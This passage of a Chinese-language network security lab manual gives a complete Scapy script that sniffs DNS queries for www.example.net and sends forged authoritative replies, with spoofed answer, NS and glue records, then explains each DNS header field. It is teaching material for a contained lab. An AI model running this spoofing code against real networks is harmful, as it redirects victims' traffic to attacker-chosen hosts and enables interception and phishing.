本实验需要使用 Scapy 完成多个任务。以下示例代码展示了如何嗅探 DNS 查询,并伪造一个 DNS 响应,响应中包含一个答案部分的记录、两个权威部分的记录和两个附加部分的记录。代码已包含在 Labsetup.zip 文件中(在 volumes 文件夹内)。

\begin{lstlisting}[caption={示例代码: \texttt{dns\_sniff\_spoof.py}}]
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):


    # 交换源和目标 IP 地址
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)


    # 交换源和目标端口号
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)


    # 答案部分
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',              
                 ttl=259200, rdata='10.0.2.5')


    # 权威部分
    NSsec1 = DNSRR(rrname='example.net', type='NS',
                   ttl=259200, rdata='ns1.example.net')
    NSsec2 = DNSRR(rrname='example.net', type='NS',
                   ttl=259200, rdata='ns2.example.net')


    # 附加部分
    Addsec1 = DNSRR(rrname='ns1.example.net', type='A',
                    ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
                    ttl=259200, rdata='5.6.7.8')


    # 构建 DNS 数据包
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,  (*@\ding{81}@*)
                 qdcount=1, ancount=1, nscount=2, arcount=2,
                 an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)


    # 构建整个 IP 数据包并发送
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)


# 嗅探 DNS 查询数据包并调用 spoof_dns() 方法                    
f = 'udp and dst port 53'
pkt = sniff(iface='br-43d947d991eb', filter=f, prn=spoof_dns)       (*@\ding{73}@*)    
\end{lstlisting}

请确保在第~\ding{73}行将接口名称替换为您系统中的名称。第~\ding{81}行构建了 DNS 数据负载,包括 DNS 头部和数据。每个字段的解释如下:

\begin{itemize}[noitemsep]
\item \texttt{id}: Transaction ID;应与请求中的相同
\item \texttt{qd}: 查询域名;应与请求中的相同
\item \texttt{aa}: 权威回答(1 表示答案包含权威回答)
\item \texttt{rd}: 是否启用递归查询(0 表示禁用递归查询)
\item \texttt{qr}: 查询响应位(1 表示响应)
\item \texttt{qdcount}: 查询部分中的记录数
\item \texttt{ancount}: 答案部分中的记录数
\item \texttt{nscount}: 权威部分中的记录数
\item \texttt{arcount}: 附加部分中的记录数
\item \texttt{an}: 答案部分
\item \texttt{ns}: 权威部分
\item \texttt{ar}: 附加部分
\end{itemize}
最后修改: 2025年05月8日 星期四 08:30